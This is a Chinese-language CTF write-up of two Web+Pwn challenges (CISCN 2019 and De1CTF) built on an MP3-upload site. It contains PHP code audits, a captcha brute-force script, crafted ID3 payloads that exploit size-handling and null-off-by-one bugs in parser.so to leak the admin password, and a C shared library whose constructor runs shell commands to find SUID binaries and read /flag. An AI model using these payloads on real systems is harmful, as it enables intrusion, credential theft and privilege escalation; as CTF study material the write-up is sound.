Web&&Pwn
前些天看到了山科大一位表哥的文章,提及了一些Web与Pwn结合的技术,非常符合我的理念,以此作为引子,开始探讨以下两道Web_Pwn题目。
0x0 2019ciscn web——滑稽云音乐
- 这道题目一看页面还是挺美观的,看得出来出题人用心了!翻看过后有用的页面就是注册登录和上传音乐了
注册页面如下:
- 如何源码泄露的部分就不说了,因为我是本地搭建的环境,当时比赛是什么流程我并不知道。直接进行代码审计吧。首先看一下注册页面的代码
...
if (isset($username)&&isset($password1)&&isset($password2)&&isset($code)){
$username=trim((string) $username);
$password1=(string) $password1;
$password2=(string) $password2;
$code=(string) $code;
if (strlen($username)<4||strlen($password1)<8||strlen($password2)<8||strlen($code)<1||strlen($username)>16||strlen($password1)>32||strlen($code)>32||$username=='admin'){
set_code();
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
}elseif ($password1!==$password2) {
set_code();
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'两次密码输入不一致!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
}elseif (substr(md5($code.$_SESSION['code']),0,5)!=$_SESSION['calc']) {
set_code();
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'验证码错误!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
}else{
if (reg($_GLOBALS,$username,$password1)===1){
set_code();
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'注册成功!')));
}else{
set_code();
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'用户名已经存在!','code'=>$_SESSION['code'],'calc'=>$_SESSION['calc'])));
}
}
}
...
- 可知用户名长度在4到16之间,密码长度在8到32之间,不能以admin进行注册,猜测admin是存在的,那这就是个关键点。验证码得根据提示进行爆破,脚本如下:
def guess(p,v):
for i in range(0xffffff):
g=hashlib.md5(str(i)+p).hexdigest()[:5]
if g==v:
print str(i)
break
注册成功后,登入进去,直接来到上传页面:
- 对上传页面的代码进行审计:
...
function clean_string($str){
$str=substr($str,0,1024);
return str_replace("\x00","",$str);
}
if (isset($_FILES["file_data"])){
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
}else{
$music_filename=__DIR__."/../uploads/music/".md5($_GLOBALS['salt'].$_SESSION['user']).".mp3";
if (time()-$_SESSION['timestamp']<3){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
}
$_SESSION['timestamp']=time();
move_uploaded_file($_FILES["file_data"]["tmp_name"], $music_filename);
$handle = fopen($music_filename, "rb");
if ($handle==FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
}
$flags = fread($handle, 3);//读取临时文件前三个字节
fclose($handle);
if ($flags!=="ID3"){
unlink($music_filename);
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
}
try{
$parser = FFI::cdef("
struct Frame{
int size;
char * data;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_title=(string) FFI::string($result->data,$result->size);
if (substr($mp3_title,0,2)=="\xFF\xFE"){
@$mp3_title_conv=iconv("unicode","utf-8",$mp3_title);
if ($mp3_title_conv!==FALSE) $mp3_title=$mp3_title_conv;
}
$mp3_title=base64_encode(clean_string($mp3_title));
$result=$parser->parse($_GLOBALS['admin_password'],"artist",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_artist=(string) FFI::string($result->data,$result->size);
if (substr($mp3_artist,0,2)=="\xFF\xFE"){
@$mp3_artist_conv=iconv("unicode","utf-8",$mp3_artist);
if ($mp3_artist_conv!==FALSE) $mp3_artist=$mp3_artist_conv;
}
$mp3_artist=base64_encode(clean_string($mp3_artist));
$result=$parser->parse($_GLOBALS['admin_password'],"album",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_album=(string) FFI::string($result->data,$result->size);
if (substr($mp3_album,0,2)=="\xFF\xFE"){
@$mp3_album_conv=iconv("unicode","utf-8",$mp3_album);
if ($mp3_album_conv!==FALSE) $mp3_album=$mp3_album_conv;
}
$mp3_album=base64_encode(clean_string($mp3_album));
$song=array($mp3_title,$mp3_artist,$mp3_album);
$nsql=new NoSQLite\NoSQLite($_GLOBALS['dbfile']);
$music=$nsql->getStore('music');
$res=$music->get($_SESSION['user']);
if ($res===null||strlen((string)$res)<=0){
$res=array();
}else{
$res=json_decode($res,TRUE);
}
array_push($res,$song);
$res=json_encode($res);
$music->set($_SESSION['user'],$res);
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'上传成功!','title'=>$mp3_title,'artist'=>$mp3_artist,'album'=>$mp3_album)));
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 MP3 文件。')));
}
}
}else{
if (isset($_SERVER['CONTENT_TYPE'])){
if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
}
}
}
...
- 其中这个位置很关键
$parser = FFI::cdef("
struct Frame{
int size;
char * data;
};
struct Frame * parse(char * password, char * classname, char * filename);
", __DIR__ ."/../lib/parser.so");
$result=$parser->parse($_GLOBALS['admin_password'],"title",$music_filename);
if ($result->size>0x130) $result->size=0x130;
$mp3_title=(string) FFI::string($result->data,$result->size);
- 大概能猜到调用了parse.so库中的parse函数对mp3文件进行解析,然后将结果转成长度为0x130的string。到这里先不急着去分析so文件,再看看手中的源码文件,看看能不能直接从中获取admin账户的密码。然而从后面的分析来看是不可能了。
//config.php
<?php
ini_set('display_errors','Off');
error_reporting(0);
date_default_timezone_set("Asia/Shanghai");
ini_set('session.gc_maxlifetime',"3600");
ini_set("session.cookie_lifetime","3600");
session_start();
include 'init.php';
$_GLOBALS['dbfile']=init_config('.sqlite');
$_GLOBALS['salt']=write_config(init_config('.salt'));
$_GLOBALS['admin_password']=write_config(init_config('.passwd'));
if (strlen($_GLOBALS['dbfile'])<=0||strlen($_GLOBALS['salt'])<=0||strlen($_GLOBALS['admin_password'])<=0){
ob_end_clean();
die('Permission denied!');
}
$_GLOBALS['dbfile']=__DIR__.'/../config/'.$_GLOBALS['dbfile'];
?>
//init.php
function init_config($ext){
$file=get_filename($ext);
if ($file==''){
$file=rand_str(8).$ext;
file_put_contents(__DIR__.'/../config/'.$file, '');
if (!file_exists(__DIR__.'/../config/'.$file)){
$file=='';
}
}
return $file;
}
function write_config($file,$str = '',$length = 16){
$content=file_get_contents(__DIR__.'/../config/'.$file);
if ($content==''){
if ($str=='') $str=rand_str($length);
file_put_contents(__DIR__.'/../config/'.$file, $str);
}
return file_get_contents(__DIR__.'/../config/'.$file);
}
- 可见admin的密码是动态生成的。另外一个发现就是firmware.php这个文件。
if ($_SESSION['role']!='admin'){
$padding='Lorem ipsum dolor sit amet, consectetur adipisicing elit.';
for($i=0;$i<10;$i++) $padding.=$padding;
die('<div><div class="container" style="margin-top:30px"><h3 style="color:red;margin-bottom:15px;">只有管理员权限才能访问!</h3></div><p style="visibility: hidden">'.$padding.'</p></div>');
}
if (isset($_FILES["file_data"])){
if ($_FILES["file_data"]["error"] > 0||$_FILES["file_data"]["size"] > 1024*1024*1){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错,固件文件最大支持 1MB。')));
}else{
mt_srand(time());
$firmware_filename=md5(mt_rand().$_SESSION['user']);
$firmware_filename=__DIR__."/../uploads/firmware/".$firmware_filename.".elf";
if (time()-$_SESSION['timestamp']<3){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'操作太快了,请稍后再上传。')));
}
$_SESSION['timestamp']=time();
move_uploaded_file($_FILES["file_data"]["tmp_name"], $firmware_filename);
$handle = fopen($firmware_filename, "rb");
if ($handle==FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败,未知原因。')));
}
$flags = fread($handle, 4);
fclose($handle);
if ($flags!=="\x7fELF"){
unlink($firmware_filename);
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传失败,不是有效的 ELF 文件。')));
}
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'上传成功!')));
}
}else{
if (isset($_SERVER['CONTENT_TYPE'])){
if (stripos($_SERVER['CONTENT_TYPE'],'form-data')!=FALSE){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'上传出错,音乐文件最大支持 1MB。')));
}
}
}
@$path=$_POST['path'];
function clean_string($str){
$str=str_replace("\\","",$str);
$str=str_replace("/","",$str);
$str=str_replace(".","",$str);
$str=str_replace(";","",$str);
return substr($str,0,32);
}
if (isset($path)){
$path=clean_string(trim((string) $path));
if (strlen($path)<=0||strlen($path)>64){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'输入格式或长度不符合规定!')));
}else{
$firmware_filename=__DIR__."/../uploads/firmware/".$path.".elf";
if (!file_exists($firmware_filename)){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'固件文件不存在!')));
}else{
try{
$elf = FFI::cdef("
extern char * version;
", $firmware_filename);
$version=(string) FFI::string($elf->version);
ob_end_clean();
die(json_encode(array('status'=>1,'info'=>'固件版本号:'.$version)));
}catch(Error $e){
ob_end_clean();
die(json_encode(array('status'=>0,'info'=>'加载固件文件时发生错误!')));
}
}
}
}
?>
- 这里允许上传一个elf文件,并且可以加载读取出version的值,所以最终我们想的是利用这个页面的功能读取flag,但是此页面仅允许admin用户操作,于是问题就是如何泄露admin的密码。还是回归到upload.php中,他调用parse函数时,admin的密码就是其中一个参数。
- 按顺序看看这些函数
- IDA中可以可以在BSS段确认frame_data在password上方0x100处的位置,这里需要记住,后面会涉及到。
- 程序会先检查tag,然后解析出标题和大小,最后进行数据拷贝。回想刚才要记住的地方,思考如果这里的大小能够被控制,会发生什么情况。再回到upload.php中,看到
if ($result->size>0x130) $result->size=0x130;
$mp3_title=(string) FFI::string($result->data,$result->size);
- 援引官方解释,FFI:string(src,size),如果size为0,将把以0为结束符的src转为PHP下的str;如果size不为0,则取src的size个长度转为PHP的str。而frame_data加上管理员的密码不会超过0x130个字节的,所以只要中间没有**’\0’**,就能完全泄露出来。
(unsigned __int8)(((unsigned __int64)frame_size.Size >> 56) + LOBYTE(frame_size.Size))
- ((unsigned int)(frame_size.Size >> 31) >> 24)
-
这条语句相当于是 frame_size.Size%0x100,所以最多只能拷贝0xff个字节。这里提前说明一下,别看init_proc()函数中已经清空了frame_data,实际在运行过程中,别的地方有用到这个指针,导致里边有部分脏数据,所以不用拷贝0xff个字节的数据,也能在后面将管理员密码泄露出来。
-
接下来只要去分析一下parse_text_frame_content()这个函数,看看怎么去控制v3就可以了。在has_id3v2tag()中可以知道解析的是ID3版本的格式,建议结合MP3 ID3文件结构去分析代码会更容易。
[]: https://blog.csdn.net/u010650845/article/details/53520426 “MP3文件结构详解”
接下来伪造一个MP3文件就好了,脚本如下
mp3_dat=flat(
'ID3',
'\x03',
'\x00',
'\x00',
'\x00\x00\x04\x00',#标签头大小
'TIT2',
'\x00\x00\x00\x0a',#标签帧大小。
'\x00\x00',
'a'*9+'\x00'
'TPE1',
'\x00\x00\x00\x0a',#标签帧大小。
'\x00\x00',
'b'*9+'\x00',
'TALB',
'\x00\x00\x02\xff',#标签帧大小。实际测试中,ff可以改为其他数字。因为上面的分析说过了,会有部分脏数据,所以不用拷贝0xff个数据
'\x00\x00',
'c'*0x200+'\x00',
)
- 上传之后就能够泄露密码了。
- 如果伪造的mp3你非常自信是正确的,但是上传之后就是提示失败,请刷新一下页面,这里我也被坑过。
- 接下来就利用hotload.php页面来加载firmware.php,进行下一步利用。
- flag文件在根目录下,并且以当前网站目录下的权限是读取不了的,所以考虑提权,首先想到的是SUID的方式进行提权。编写如下代码,并编译为so文件
//gcc -shared -fPIC filneame -o filemname
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
char buf[0x200];
char* version=buf;
__attribute((constructor)) void fun(){
FILE* pf=popen("find / -user root -perm -4000","r");
if(pf==NULL)return;
fread(version,1,0x200,pf);
fclose(pf);
}
- 解释一下,这里有2个关键点。
- __attribute((constructor)):被修饰的函数将会先于**main()**函数运行,也就是在加载的时候会被调用。相反的 **__attribute((destructor))修饰的函数会在main()**函数执行完毕后执行。
- popen(“find / -user root -perm -4000”,“r”):执行命令,查找根目录下具有root身份且具有0x800权限的文件
- 因为firmware文件中只是加载了库文件,并读取导出的version符号的数据,并没有显示调用某个指定的函数,因此需要用**__attribute((constructor))使得so加载的时候调用函数,将数据写入version**中。
- 上传文件的脚本如下:
os.system('php sb.php')
ck={'PHPSESSID':'6slmhisev24h8t44jtq5ej14bu'}
file_id={"file_id":0}
file_data={'file_data':open('./test','rb')}
url='http://192.168.146.152:32770/hotload.php?page=firmware'
ct=requests.post(url,data=file_id,files=file_data,cookies=ck)
os.system('php sb.php')
print ct.text
<?php
mt_srand(time());
$fn=md5(mt_rand().'admin');
echo $fn."\n";
?>
-
根据FFI函数可以知道php的版本是7.4.x的,所以本地的php环境要和容器中的保持一致,否则得到的文件名会不一致!
-
然后加载文件就能看到泄露出来的信息
-
发现有个满足条件,并且可以用来读取文件的命令,于是上传如下so:
#include<stdlib.h>
#include<stdio.h>
#include<unistd.h>
char buf[0x200];
char *version=buf;
__attribute((constructor)) void fun(){
cFILE* pf=popen("/usr/bin/tac /flag","r");
if(pf==NULL)return;
fread(version,1,0x200,pf);
fclose(pf);
}
- 至此成功读取flag!
0x1 De1CTF
方法步骤基本一样,不同的是parser.so文件,因此pwn部分的方式也不一样。其他部分就不说了,主要分析这个elf文件。
- 这里是通过strlen()函数获取长度的,strlen()获取的到的长度不包括**‘\0’**。
- 这次password的位置在frame_data之上,因此不能再像之前一样泄露密码。但是发现password在bss段的地址最低位是00
-
frame_data和password之间差0x70的大小,因此结合strlen()特点,存在null-off-by-one漏洞,可以溢出frame_data,将mframe_data指针最低位改成00,这就指向了password。在后面EFF:string的时候,相当于读取的是password的内容,从而泄露出来。
-
构造MP3数据:
mp3_dat=flat(
'ID3',
'\x03',
'\x00',
'\x00',
'\x00\x00\x04\x00',
'TIT2',
'\x00\x00\x00\x0a',
'\x00\x00',
'a'*0x9+'\x00'
'TPE1',
'\x00\x00\x00\x0a',
'\x00\x00',
'b'*0x9+'\x00',
'TALB',
'\x00\x00\x03\x00',
'\x00\x00',
'c'*0x70+'\x00',
)
- 后面的步骤就和ciscn的题目一样了。